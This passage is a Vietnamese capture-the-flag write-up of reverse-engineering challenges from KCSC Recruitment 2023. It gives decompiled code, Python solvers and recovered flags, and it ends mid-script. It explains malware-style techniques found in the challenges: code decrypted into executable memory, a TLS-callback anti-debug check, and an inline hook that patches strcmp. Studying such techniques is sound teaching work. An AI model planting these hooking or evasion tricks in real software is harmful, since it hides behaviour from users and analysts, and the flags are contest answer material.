Solutions for some challenges in KCSC Recruitment 2023
KCSC Recruitment 2023
rev/Real Warmup
Challenge Information
- 28 solves / 100 pts
- Given files: chall.exe
- Description: Làm nóng người 1 tí
Flag format: KCSC{}
Solution
Mở file trong IDA64, chương trình cho phép người dùng nhập vào và so sánh với một chuỗi cho trước.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
| int __fastcall main(int argc, const char **argv, const char **envp)
{
char Str1[256]; // [rsp+20h] [rbp-60h] BYREF
_main(argc, argv, envp);
puts("Nh4p. v40` f149 v4` nh4n' [3N73R]");
while ( 1 )
{
if ( !gets(Str1) )
{
return 0;
}
if ( !strcmp(Str1, "S0NTQ3tDaDQwYF9NfF98bjlgX0QzTidfVjAxJ183N1wvX0tDU0N9") )
{
break;
}
puts("Sai roi. Hay thu lai");
}
return printf("Great!!!");
}
|
Chuỗi này khả năng cao bị mã hóa base64. Lên CyberChef decode và thu được flag KCSC{Ch40_M|_|n9_D3N'_V01'_77\/_KCSC}
rev/Images
Challenge Information
- 3 solves / 484 pts
- Given files: Images.zip
- Description: It doesnt hard as u expected ^^
Solution
Bài này cho chúng ta một loạt hình ảnh chứa mã assembly. Sau khi đọc sơ qua, mình thấy đoạn code với format như dưới đây được lặp đi lặp lại
1
2
3
4
5
| mov eax, 1
imul rax, 8
movsx eax, [rbp+rax+230h+Buffer]
cmp eax, 95
jnz loc_140012834
|
trong đó loc_140012834
là đoạn mã in ra kết quả sai. Điều kiện kiểm tra có thể được mô phỏng lại như sau
Lấy tất cả các giá trị như trên và convert sang ký tự, ta thu được flag KCSC{Cam_on_vi_da_kien_nhan_nhin_het_dong_anh_nay`}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
| flag = [0] * 54
flag[0] = 75
flag[0x1a] = 110
flag[14] = 101
flag[18] = 104
flag[34] = 101
flag[23] = 110
flag[18] = 107
flag[21] = 110
flag[22] = 95
flag[9] = 111
flag[5] = 67
flag[8] = 95
flag[10] = 110
flag[14] = 95
flag[12] = 118
flag[16] = 97
flag[3] = 67
flag[30] = 105
flag[48] = 121
flag[41] = 95
flag[44] = 104
flag[39] = 110
flag[7] = 109
flag[28] = 110
flag[29] = 104
flag[15] = 100
flag[38] = 111
flag[42] = 97
flag[46] = 110
flag[37] = 100
flag[33] = 104
flag[32] = 95
flag[36] = 95
flag[31] = 110
flag[25] = 97
flag[27] = 95
flag[35] = 116
flag[45] = 95
flag[19] = 105
flag[40] = 103
flag[43] = 110
flag[47] = 97
flag[17] = 95
flag[49] = 96
flag[50] = 125
flag[4] = 123
flag[13] = 105
flag[11] = 95
flag[6] = 97
flag[2] = 83
flag[1] = 67
flag[20] = 101
flag[24] = 104
print("".join([chr(i) for i in flag]))
|
rev/Awg Mah Back
Challenge Information
- 9 solves / 244 pts
- Given files:
- Description: xor, xor nữa, xor mãi
Flag format: KCSC{}
Solution
Chương trình chia flag
thành 3 phần và thực hiện xor giữa các phần với nhau.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
| from pwn import *
with open('flag.txt', 'rb') as (f):
flag = f.read()
a = flag[0:len(flag) // 3]
b = flag[len(flag) // 3:2 * len(flag) // 3]
c = flag[2 * len(flag) // 3:]
a = xor(a, int(str(len(flag))[0]) + int(str(len(flag))[1]))
b = xor(a, b)
c = xor(b, c)
a = xor(c, a)
b = xor(a, b)
c = xor(b, c)
c = xor(c, int(str(len(flag))[0]) * int(str(len(flag))[1]))
enc = a + b + c
with open('output.txt', 'wb') as (f):
f.write(enc)
|
Vì tính chất đối xứng và hoán vị của phép xor:
- $A \oplus B = C \to A = C \oplus B$
- $A \oplus B = B \oplus A$
ta có thể đặt ngược file output.txt
thành flag.txt
và thực hiện ngược lại các bước mã hóa.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
| from pwn import *
with open('output.txt', 'rb') as (f):
flag = f.read()
a = flag[0:len(flag) // 3]
b = flag[len(flag) // 3:2 * len(flag) // 3]
c = flag[2 * len(flag) // 3:]
c = xor(c, int(str(len(flag))[0]) * int(str(len(flag))[1]))
c = xor(b, c)
b = xor(a, b)
a = xor(c, a)
c = xor(b, c)
b = xor(a, b)
a = xor(a, int(str(len(flag))[0]) + int(str(len(flag))[1]))
enc = a + b + c
with open('flag.txt', 'wb') as (f):
f.write(enc)
|
Sau khi chạy đoạn script trên, ta thu được output là VXpCT1ZGRXpjelJPUjA1TVdETlJkMWd3U21oUk1IUm1Wa2M1WmxGcVVtcGhNVGxaVFVoS1oxaDZVblZTUmpnMFRtcFNabUl3TUhwYWVsSk5aRlY0T1E9PQ==
Dễ thấy có kí tự ==
, ta sẽ decode base64 nhiều lần trên CyberChef và có được flag KCSC{84cK_t0_BaCK_To_B4ck_X0r`_4nD_864_oM3g4LuL}
rev/hide and seek
Challenge Information
- 12 solves / 100 pts
- Given files: rev_hide_and_seek.rar
- Description: I hid a little surprise for you somewhere in your computer. Let’s see if you can find it!
Solution
Sau khi chạy thử file đề bài cho, mình có select 2 dòng màu xanh thì thấy có dòng text mờ
C:\Users\Pwn2Own\AppData\Local\Temp\.temp_html_file_90865953.html
Vào folder trên và tìm sẽ có được flag.
Mình muốn tìm hiểu xem thực sự chương trình này đang hoạt động như nào. Decompile bằng IDA64, xem qua lần lượt các hàm, ta biết được output ở trên được in ra từ hàm sub_E5FCD0
Trong đó, đoạn in ra filepath như sau
1
2
3
4
5
6
7
8
9
10
11
| SetConsoleTextAttribute(hConsoleOutput, 0x11u); // white color
filePath = &szCUsersPwn2Own;
v15 = (char *)&szCUsersPwn2Own;
v14 = &szCUsersPwn2Own + 0x100;
while ( v15 != (char *)v14 )
{
v13 = *v15;
sub_E511F4(std::cout, v13);
Sleep(0x32u);
v15 += 2;
}
|
Tới đây, mình có thể lấy được filepath và truy cập để lấy flag.
Câu hỏi đặt ra là filepath được tạo ra như thế nào và file html kia ở đâu. Quay trở về hàm main
, ta sẽ đi phân tích chi tiết 2 hàm:
- Hàm
sub_E5151E
- Hàm
sub_E518A7
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
| int __cdecl main_0(int argc, const char **argv, const char **envp)
{
int v3; // eax
HMODULE v5; // eax
int v6; // eax
__CheckForDebuggerJustMyCode(&unk_E6A037);
if ( (unsigned __int8)sub_E5151E() )
{
v5 = (HMODULE)((int (*)(void))off_E5149C)();
if ( sub_E518A7(v5, (LPCWSTR)0x3EA, (LPCWSTR)0x3E9) )
{
sub_E5148D();
return 0;
}
else
{
v6 = sub_E513C0(std::cerr, "Stage 2 failed");
std::ostream::operator<<(v6, sub_E51064);
return 1;
}
}
else
{
v3 = sub_E513C0(std::cerr, "Stage 1 failed");
std::ostream::operator<<(v3, sub_E51064);
return 1;
}
}
|
Phân tích hàm sub_E5151E
Nhìn tổng quan, ta biết được hàm này thực hiện việc tạo filepath.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
| char sub_E588A0()
{
int v1; // eax
ULONGLONG TickCount64; // rax
unsigned int v3; // [esp+190h] [ebp-220h]
int (__stdcall *GetTempPathW)(int, char *); // [esp+19Ch] [ebp-214h]
char v5[516]; // [esp+1A8h] [ebp-208h] BYREF
__CheckForDebuggerJustMyCode(&unk_E6A037);
GetTempPathW = (int (__stdcall *)(int, char *))sub_E516E5("kernel32", 0xCCD7EB77, 0x5EA58);
if ( !GetTempPathW )
{
return 0;
}
v3 = GetTempPathW(256, v5);
if ( v3 <= 0x100 && v3 )
{
TickCount64 = GetTickCount64();
wsprintfW(filePath, "%", v5, TickCount64);
return 1;
}
else
{
v1 = sub_E513C0(std::cerr, "Failed to get folder path");
std::ostream::operator<<(v1, sub_E51064);
return 0;
}
}
|
Đầu tiên, hàm sub_E516E5
sẽ tìm trong kernel32 đâu là địa chỉ của hàm getTempPath
. Khi search các đối số sẽ không có kết quả, mình debug và đọc kết quả của hàm trả về mới biết được tên hàm là gì.
1
2
3
4
5
| GetTempPathW = (int (__stdcall *)(int, char *))sub_E516E5("kernel32", 0xCCD7EB77, 0x5EA58);
if ( !GetTempPathW )
{
return 0;
}
|
Tiếp theo, chương trình tạo filepath bởi hàm wsprintfW
với cấu trúc
filepath = tempPath + chuỗi temp_html_file
+ tickcount + .html
1
2
3
4
5
6
7
8
9
10
11
12
13
| tempPathLength = getTempPath(256, tempPath);
if ( tempPathLength <= 256 && tempPathLength )
{
TickCount64 = GetTickCount64();
wsprintfW(filePath, "%", tempPath, TickCount64);
return 1;
}
else
{
v1 = sub_E513C0(std::cerr, "Failed to get folder path");
std::ostream::operator<<(v1, sub_E51064);
return 0;
}
|
Phân tích hàm sub_E518A7
Hàm thực hiện chức năng tạo file, trong đó lpFileName = filePath
1
| hFile = CreateFileW(lpFileName, 0x40000000u, 0, 0, 2u, 0x80u, 0);
|
Sau khi tạo thành công, nó sẽ viết nội dung ở lpBuffer
vào file
1
| WriteFile(hFile, lpBuffer, nNumberOfBytesToWrite, &NumberOfBytesWritten, 0)
|
Đặt breakpoint tại đây và ta xem được nội dung của file vừa tạo.
Trong đó có một đoạn code js để in ra flag KCSC{~(^._.)=^._.^=(._.^)~}
1
2
3
4
5
6
7
8
| function showFlag() {
var flagArray = [30, 22, 6, 22, 46, 43, 125, 11, 123, 10, 123, 124, 104, 11, 123, 10, 123, 11, 104, 125, 123, 10, 123, 11, 124, 43, 40];
var flag = '';
for (var i = 0; i < flagArray.length; i++) {
flag += String.fromCharCode(flagArray[i] ^ 0x55);
}
alert(flag);
}
|
rev/dynamic function
Challenge Information
- 2 solves / 496 pts / by sonx
- Given files: rev_dynamic_function.rar
- Description: Unless I am in motion, I remain invisible.
Solution
Decompile file exe bằng IDA64, sau khi đổi tên các hàm, các biến, chúng ta thu được hàm main
như sau
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
| int __cdecl main_0(int argc, const char **argv, const char **envp)
{
FILE *v3; // eax
size_t subInputLength; // eax
char v6; // [esp+0h] [ebp-14Ch]
char v7; // [esp+0h] [ebp-14Ch]
size_t v8; // [esp+10h] [ebp-13Ch]
size_t j; // [esp+DCh] [ebp-70h]
unsigned int i; // [esp+E8h] [ebp-64h]
void (__cdecl *lpAddress)(char *, char *, size_t); // [esp+F4h] [ebp-58h]
char *output; // [esp+10Ch] [ebp-40h]
char *subInput; // [esp+118h] [ebp-34h]
char input[36]; // [esp+124h] [ebp-28h] BYREF
__CheckForDebuggerJustMyCode(&unk_D5C017);
j_memset(input, 0, 0x20u);
malloc(0x19u);
output = (char *)malloc(0x19u);
printf("Show your skills. What is the flag?\n", v6);
v3 = _acrt_iob_func(0);
fgets(input, 0x20, v3);
if ( input[strlen1(input) - 1] == 0xA )
{
v8 = strlen1(input) - 1;
if ( v8 >= 0x20 )
{
j____report_rangecheckfailure();
}
input[v8] = 0;
}
if ( strlen1(input) == 30 && (subInput = (char *)splitInput(input)) != 0 && strlen1(subInput) == 24 )
{
lpAddress = (void (__cdecl *)(char *, char *, size_t))VirtualAlloc(0, 0xA4u, 0x1000u, 0x40u);
if ( lpAddress )
{
for ( i = 0; i < 0xA4; ++i )
{
*((_BYTE *)lpAddress + i) = byte_D57C50[i] ^ 0x41;
}
subInputLength = strlen1(subInput);
lpAddress(subInput, output, subInputLength);
VirtualFree(lpAddress, 0xA4u, 0x8000u);
for ( j = 0; j < strlen1(subInput); ++j )
{
if ( output[j] != expectedOutput[j] )
{
goto labelFail;
}
}
printf("Not uncorrect ^_^", v7);
return 0;
}
else
{
perror("VirtualAlloc failed");
return 1;
}
}
else
{
labelFail:
printf("Not correct @_@", v7);
return 0;
}
}
|
Tóm tắt chương trình trên:
Cho người dùng nhập vào input
từ bàn phím. Đổi byte cuối cùng \n
(khi nhấn enter) thành byte kết thúc chuỗi \x00
.
So sánh độ dài chuỗi input
với 30. Đi vào hàm splitInput
,** chương trình kiểm tra input
có bắt đầu bằng chuỗi KCSC{
và kết thúc bằng }
hay không. Kết thúc hàm, chúng ta thu được output
có độ dài 24 byte chính là phần ở giữa của chuỗi bắt đầu và kết thúc.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
| char *__cdecl sub_D51890(char *Str)
{
char *Destination; // [esp+D0h] [ebp-2Ch]
char *v3; // [esp+E8h] [ebp-14h]
char *Source; // [esp+F4h] [ebp-8h]
char *Sourcea; // [esp+F4h] [ebp-8h]
__CheckForDebuggerJustMyCode(&unk_D5C017);
Source = j_strstr(Str, "KCSC{");
if ( Source )
{
Sourcea = &Source[strlen1("KCSC{")];
v3 = j_strchr(Sourcea, '}');
if ( v3 )
{
Destination = (char *)malloc(v3 - Sourcea + 1);
if ( !strncpy_s(Destination, v3 - Sourcea + 1, Sourcea, v3 - Sourcea) )
{
return Destination;
}
free(Destination);
}
}
return 0;
}
|
Hàm VirtualAlloc
phân bổ một vùng nhớ mới với 4 đối số như sau:
- 0: Hàm tự động chọn địa chỉ cho vùng nhớ
- 0xA4u: Kích thước của vùng nhớ
- 0x1000u:
MEM_COMMIT
, đặt quyền truy cập cho vùng nhớ - 0x40u:
PAGE_EXECUTE_READWRITE
, đặt quyền đọc ghi, thực thi cho vùng nhớ
Đọc thêm thông tin ở https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc
Hàm sẽ trả về là địa chỉ của vùng nhớ mới, được lưu trong biến lpAddress
Chương trình ghi lần lượt các byte vào vùng nhớ mới
1
2
3
4
| for ( i = 0; i < 0xA4; ++i )
{
*((_BYTE *)lpAddress + i) = byte_D57C50[i] ^ 0x41;
}
|
Tiếp theo, chương trình sẽ thực hiện các lệnh trong vùng nhớ mới. Sau khi kết thúc việc gọi hàm, ta sẽ thu được output
1
| lpAddress(subInput, output, subInputLength);
|
So sánh output
với chuỗi byte expectedOutput
cho trước
1
2
3
4
5
6
7
| for ( j = 0; j < strlen1(subInput); ++j )
{
if ( output[j] != expectedOutput[j] )
{
goto labelFail;
}
}
|
Sau bản tóm tắt trên, mấu chốt của bài toán nằm ở đoạn code gọi hàm động lpAddress
. Chúng ta cần phải biết nó thực sự đã làm gì với input
ban đầu.
Đặt breakpoint tại dòng 44, ấn F7 tại text:00D558BD
để đi sâu vào từng câu lệnh. Input ban đầu chúng ta nhập sẽ là KCSC{aaaaaaaaaaaaaaaaaaaaaaaa}
1
| .text:00D558BD call [ebp+lpAddress]
|
Đây là một phần mã assembly của hàm lpAddress
Ta có thể click chuột phải, chọn chức năng Create function (phím P)
, và thu được hàm như sau
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| int __cdecl sub_DF0000(int a1, int a2, int a3)
{
_WORD v4[15]; // [esp+2h] [ebp-1Eh] BYREF
strcpy((char *)v4, "reversing_is_pretty_cool");
*(_DWORD *)&v4[0xD] = 0;
while ( *(int *)&v4[0xD] < a3 )
{
HIBYTE(v4[0xC]) = 0x10 * (*(char *)(*(_DWORD *)&v4[0xD] + a1) % 0x10)
+ *(char *)(*(_DWORD *)&v4[0xD] + a1) / 0x10;
*(_BYTE *)(a2 + *(_DWORD *)&v4[0xD]) = HIBYTE(v4[0xC]) ^ *((_BYTE *)v4 + *(_DWORD *)&v4[0xD]);
++*(_DWORD *)&v4[0xD];
}
return 0;
}
|
Ta cần sửa lại kiểu dữ liệu của một số biến cho dễ đọc hơn. Ấn y
vào tên hàm để định nghĩa lại các tham số của hàm.
Đổi lại tên, kiểu dữ liệu và kích thước cho mảng v4
Mình biết mảng buf
có size 25 bởi vì nó strcpy chuỗi “reversing_is_pretty_cool” có size 25 vào buf
.
Đến đây, ta đã thu được một hàm nhìn code rất đẹp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
| int __cdecl sub_DF0000(char *subInput, char *output, int subInputLength)
{
char buf[25]; // [esp+2h] [ebp-1Eh] BYREF
char tmp; // [esp+1Bh] [ebp-5h]
int i; // [esp+1Ch] [ebp-4h]
strcpy(buf, "reversing_is_pretty_cool");
for ( i = 0; i < subInputLength; ++i )
{
tmp = 16 * (subInput[i] % 16) + subInput[i] / 16;
output[i] = tmp ^ buf[i];
}
return 0;
}
|
Đoạn encrypt trên rất ngắn gọn, swap 4 bit trước với 4 bit sau của 1 byte. Ví dụ 0x61
→ 0x16
Tiếp theo sẽ xor kết quả trên với mảng buf
rồi đi so sánh với expectedOutput
. Chúng ta dễ dàng viết được code giải mã và thu được flag KCSC{correct_flag!submit_now!}
1
2
3
4
5
6
7
8
9
10
11
| buf = [0x72, 0x65, 0x76, 0x65, 0x72, 0x73, 0x69, 0x6E, 0x67, 0x5F, 0x69, 0x73, 0x5F, 0x70, 0x72, 0x65, 0x74, 0x74, 0x79, 0x5F, 0x63, 0x6F, 0x6F, 0x6C]
expectedOutput = [0x44, 0x93, 0x51, 0x42, 0x24, 0x45, 0x2E, 0x9B, 0x01, 0x99, 0x7F, 0x05, 0x4D, 0x47, 0x25, 0x43, 0xA2, 0xE2, 0x3E, 0xAA, 0x85, 0x99, 0x18, 0x7E]
flag = "KCSC{"
for i in range(len(buf)):
res = expectedOutput[i] ^ buf[i]
swapRes = ((res & 0x0F) << 4) | ((res & 0xF0) >> 4)
flag += chr(swapRes)
flag += "}"
print(flag)
|
rev/two-faces
Challenge Information
- 0 solve / 500 pts / by sonx
- Given files: rev_two_faces.rar
- Description: Don’t judge a book by its cover.
Solution
Decompile file đề bài cho bằng IDA64, chúng ta có được hàm main
đã đổi một số tên hàm, tên biến để dễ đọc như sau
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
| int __cdecl main_0(int argc, const char **argv, const char **envp)
{
FILE *v3; // eax
char v5; // [esp+0h] [ebp-164h]
char v6; // [esp+0h] [ebp-164h]
size_t v7; // [esp+10h] [ebp-154h]
int round; // [esp+DCh] [ebp-88h]
int k; // [esp+E8h] [ebp-7Ch]
int j; // [esp+F4h] [ebp-70h]
int i; // [esp+100h] [ebp-64h]
_DWORD *Block; // [esp+10Ch] [ebp-58h]
char *subInput; // [esp+130h] [ebp-34h]
char input[36]; // [esp+13Ch] [ebp-28h] BYREF
__CheckForDebuggerJustMyCode(&unk_FDD015);
Block = malloc(16u);
for ( i = 0; i < 4; ++i )
{
Block[i] = malloc(4u);
}
j_memset(input, 0, 0x20u);
printf("Show your skills. What is the flag?\n", v5);
v3 = _acrt_iob_func(0);
fgets(input, 0x20, v3);
if ( input[strlen1(input) - 1] == 0xA )
{
v7 = strlen1(input) - 1;
if ( v7 >= 0x20 )
{
j____report_rangecheckfailure();
}
input[v7] = 0;
}
if ( strlen1(input) != 22 )
{
goto labelFail;
}
subInput = (char *)splitInput(input);
if ( !subInput )
{
goto labelFail;
}
if ( strlen1(subInput) != 0x10 )
{
goto labelFail;
}
for ( j = 0; j < 4; ++j )
{
for ( k = 0; k < 4; ++k )
{
*(_BYTE *)(Block[j] + k) = subInput[4 * j + k];
}
}
for ( round = 0; round < 100; ++round )
{
encrypt1((int)Block, 4, 4);
encrypt2((int)Block, 4, 4u);
encrypt3(Block, 4, 4);
encrypt4((int)Block, 4, 4, round + 0x55);
}
if ( j_checkFlag((char *)Block, 4, 4) )
{
printf("Good. Nice work", v6);
free(Block);
return 0;
}
else
{
labelFail:
printf("Wrong flag! You chicken", v6);
free(Block);
return 0;
}
}
|
Luồng hoạt động chính của chương trình sẽ diễn ra như sau:
Cấp phát động cho Block
có kích thước 16 byte. Với mỗi Block[i]
lại được tiếp tục cấp phát 4 byte. Mục đích sẽ là tạo một mảng 2 chiều, có kích thước 4x4
1
2
3
4
5
| Block = malloc(16u);
for ( i = 0; i < 4; ++i )
{
Block[i] = malloc(4u);
}
|
Kiểm tra độ dài input
dài 22 bytes, bắt đầu KCSC{
, kết thúc bằng }
.
Chia input
thành từng phần rồi cho vào mảng Block
1
2
3
4
5
6
7
| for ( j = 0; j < 4; ++j )
{
for ( k = 0; k < 4; ++k )
{
*(_BYTE *)(Block[j] + k) = subInput[4 * j + k];
}
}
|
Duyệt 100 lần, mỗi lần Block
sẽ được encrypt bởi 4 hàm mã hóa
1
2
3
4
5
6
7
| for ( round = 0; round < 100; ++round )
{
encrypt1((int)Block, 4, 4);
encrypt2((int)Block, 4, 4u);
encrypt3(Block, 4, 4);
encrypt4((int)Block, 4, 4, round + 0x55);
}
|
Sau khi debug rồi quan sát output, ta sẽ biết được chức năng của các hàm như sau
encrypt1
xoay các hàng theo thứ tự từ phải sang trái với số lần là 0, 1, 2, 3.
encrypt2
xoay các cột theo thứ tự từ dưới lên trên với số lần là 0, 1, 2, 3
encrypt3
đổi 4 bit đầu và cuối của 1 byte. Ví dụ 0x61
→ 0x16
encrypt4
xor với (i + 0x55) với i chạy từ 0 → 99, tương ứng với index của từng round.
Sau 100 round encrypt ở trên, Block
thu được sẽ đem đi so sánh với chuỗi FDA6FF91ADA0FDB7ABA9FB91EFAFFAA2
Mấu chốt để giải bài này nằm ở việc phải đi viết lại 4 hàm decrypt ở trên. Đây là code giải mã của mình cho 4 hàm phía trên.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
| def unShiftRow(blk):
blk[0] = blk[0][0 : ] + blk[0][ : 0]
blk[1] = blk[1][3 : ] + blk[1][ : 3]
blk[2] = blk[2][2 : ] + blk[2][ : 2]
blk[3] = blk[3][1 : ] + blk[3][ : 1]
return blk
def unShiftCol(blk):
cols = []
unshifted_col = [[0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0]]
# get col
for col in range(4):
cols.append([blk[row][col] for row in range(4)])
# unshifted col
unshifted_col[0] = cols[0][0 : ] + cols[0][ : 0]
unshifted_col[1] = cols[1][3 : ] + cols[1][ : 3]
unshifted_col[2] = cols[2][2 : ] + cols[2][ : 2]
unshifted_col[3] = cols[3][1 : ] + cols[3][ : 1]
for i in range(4):
for j in range(4):
blk[i][j] = unshifted_col[j][i]
return blk
def unSwapBit(blk):
for i in range(4):
for j in range(4):
blk[i][j] = ((blk[i][j] & 0x0F) << 4) | ((blk[i][j] & 0xF0) >> 4)
return blk
def unXor(blk, round):
for i in range(4):
for j in range(4):
blk[i][j] ^= (round + 0x55)
def main():
res = "FDA6FF91ADA0FDB7ABA9FB91EFAFFAA2"
elements = [int(res[i : i+2], 16) for i in range(0, len(res), 2)]
block = [elements[i : i+4] for i in range(0, len(elements), 4)]
round = 99
while(round >= 0):
unXor(block, round)
unSwapBit(block)
unShiftCol(block)
unShiftRow(block)
round -= 1
flag = "KCSC{"
for i in range(4):
for j in range(4):
flag += chr(block[i][j])
flag += "}"
print(flag)
if __name__ == "__main__":
main()
# KCSC{3a5y_ch41leng3_!}
|
Mình thử chạy lại chương trình với flag thu được ở trên nhưng kết quả sai.
Sau khi trace lại từ đâu, ta thấy được có một hàm tên là TlsCallback_0_0
được chạy trước cả hàm main
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
| void *__stdcall TlsCallback_0_0(int a1, int a2, int a3)
{
void *result; // eax
char v4; // [esp+D4h] [ebp-4Ch] BYREF
char v5[15]; // [esp+D5h] [ebp-4Bh] BYREF
int Src[3]; // [esp+E4h] [ebp-3Ch] BYREF
bool v7; // [esp+F3h] [ebp-2Dh]
SIZE_T dwSize; // [esp+FCh] [ebp-24h]
DWORD flOldProtect[3]; // [esp+108h] [ebp-18h] BYREF
LPVOID lpAddress; // [esp+114h] [ebp-Ch]
__CheckForDebuggerJustMyCode(&unk_FDD015);
result = (void *)IsDebuggerPresent();
if ( !result )
{
Src[0] = (int)sub_FD133E;
v4 = 0x68;
v5[4] = 0xC3;
j_memcpy(v5, Src, 4u);
dwSize = 6;
lpAddress = j_strcmp;
v7 = VirtualProtect(j_strcmp, 6u, 0x40u, flOldProtect);
return j_memcpy(lpAddress, &v4, dwSize);
}
return result;
}
|
Chương trình có gọi hàm antidebug IsDebuggerPresent
. Chúng ta có thể đổi trạng thái của cờ ZF để đi tiếp vào trong.
1
2
3
4
| Src[0] = (int)sub_FD133E;
v4 = 0x68;
v5[4] = 0xC3;
j_memcpy(v5, Src, 4u);
|
Sau 4 lệnh phía trên, chúng ta hãy chú ý tới các giá trị này trong stack
Đây chính là một đoạn mã assembly nhỏ
Tiếp theo, chương trình gọi VirtualProtect
thay đổi lớp bảo vệ của vùng nhớ với lần lượt 4 đối số:
- j_strcmp: Địa chỉ bắt đầu của vùng nhớ
- 6: Kích thước ảnh hưởng của vùng nhớ. Ở đây, vùng nhớ bị thay đổi sẽ từ
j_strcmp
→ j_strcmp + 6
- 0x40u:
PAGE_EXECUTE_READWRITE
, kích hoạt quyền thực thi, đọc, viết cho vùng nhớ - flOldProtect: Con trỏ trỏ tới biến lưu quyền truy cập cũ của vùng nhớ.
Đọc thêm thông tin ở https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualprotect
Khi chạy nốt các dòng lệnh còn lại, click vào j_strcmp
, ta sẽ thấy push 0xFD133E
và ret
. Điều đó đồng nghĩa với việc gọi hàm sub_FD133E
. Nói tóm lại, khi chúng ta gọi hàm strcmp
, nó sẽ thực thi hàm sub_FD133E
Click vào hàm sub_FD133E
,** nó lại tiếp tục nhảy tới hàm sub_FD61D0
.** Đây là mã giả của nó
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
| int __cdecl sub_FD61D0(char *input, char *cmpInput)
{
size_t j; // [esp+D0h] [ebp-78h]
size_t v4; // [esp+DCh] [ebp-6Ch]
unsigned int i; // [esp+E8h] [ebp-60h]
char newCmpInput[44]; // [esp+F4h] [ebp-54h] BYREF
char buf[32]; // [esp+120h] [ebp-28h] BYREF
__CheckForDebuggerJustMyCode(&unk_FDD015);
buf[0] = 7;
strcpy(&buf[1], "|");
buf[3] = 7;
buf[4] = 0x7F;
buf[5] = 0x77;
buf[6] = 0x78;
buf[7] = 1;
buf[8] = 0;
buf[9] = 0x73;
buf[0xA] = 7;
strcpy(&buf[0xB], "u");
buf[0xD] = 2;
buf[0xE] = 3;
buf[0xF] = 0x73;
buf[0x10] = 7;
buf[0x11] = 7;
buf[0x12] = 0;
buf[0x13] = 0xC;
buf[0x14] = 7;
buf[0x15] = 0x72;
buf[0x16] = 0x7B;
buf[0x17] = 0x70;
buf[0x18] = 4;
buf[0x19] = 0x7F;
buf[0x1A] = 3;
buf[0x1B] = 4;
buf[28] = 7;
strcpy(&buf[0x1D], "q");
buf[31] = 4;
j_memset(newCmpInput, 0, 36u);
for ( i = 0; i < 32; ++i )
{
newCmpInput[i] = buf[i] ^ cmpInput[i];
}
v4 = strlen1(newCmpInput);
for ( j = 0; j < v4; ++j )
{
if ( input[j] < newCmpInput[j] )
{
return -1;
}
if ( input[j] > newCmpInput[j] )
{
return 1;
}
}
return 0;
}
|
Tới đây thì rõ ràng rồi, cmpInput
bị xor với mảng buf
rồi mới được đem đi so sánh với input
của chúng ta. Mình chỉ cần xor ngược lại là có thể giải được bài toán và thu được flag KCSC{function_h00k1ng}
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
| def unShiftRow(blk):
blk[0] = blk[0][0 : ] + blk[0][ : 0]
blk[1] = blk[1][3 : ] + blk[1][ : 3]
blk[2] = blk[2][2 : ] + blk[2][ : 2]
blk[3] = blk[3][1 : ] + blk[3][ : 1]
return blk
def unShiftCol(blk):
cols = []
unshifted_col = [[0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0]]
# get col
for col in range(4):
cols.append([blk[row][col] for row in range(4)])
# unshifted col
unshifted_col[0] = cols[0][0 : ] + cols[0][ : 0]
unshifted_col[1] = cols[1][3 : ] + cols[1][ : 3]
unshifted_col[2] = cols[2][2 : ] + cols[2][ : 2]
unshifted_col[3] = cols[3][1 : ] + cols[3][ : 1]
for i in range(4):
for j in range(4):
blk[i][j] = unshifted_col[j][i]
return blk
def unSwapBit(blk):
for i in range(4):
for j in range(4):
blk[i][j] = ((blk[i][j] & 0x0F) << 4) | ((blk[i][j] & 0xF0) >> 4)
return blk
def unXor(blk, round):
for i in range(4):
for j in range(4):
blk[i][j] ^= (round + 0x55)
def main():
cmpInput = "FDA6FF91ADA0FDB7ABA9FB91EFAFFAA2"
buf = [7 , 124 , 0 , 7 , 127 , 119 , 120 , 1 , 0 , 115 , 7 , 117 , 0 , 2 , 3 , 115 , 7 , 7 , 0 , 12 , 7 , 114 , 123 , 112 , 4 , 127 , 3 , 4 , 7 , 113 , 0 , 4]
newCmpInput = ""
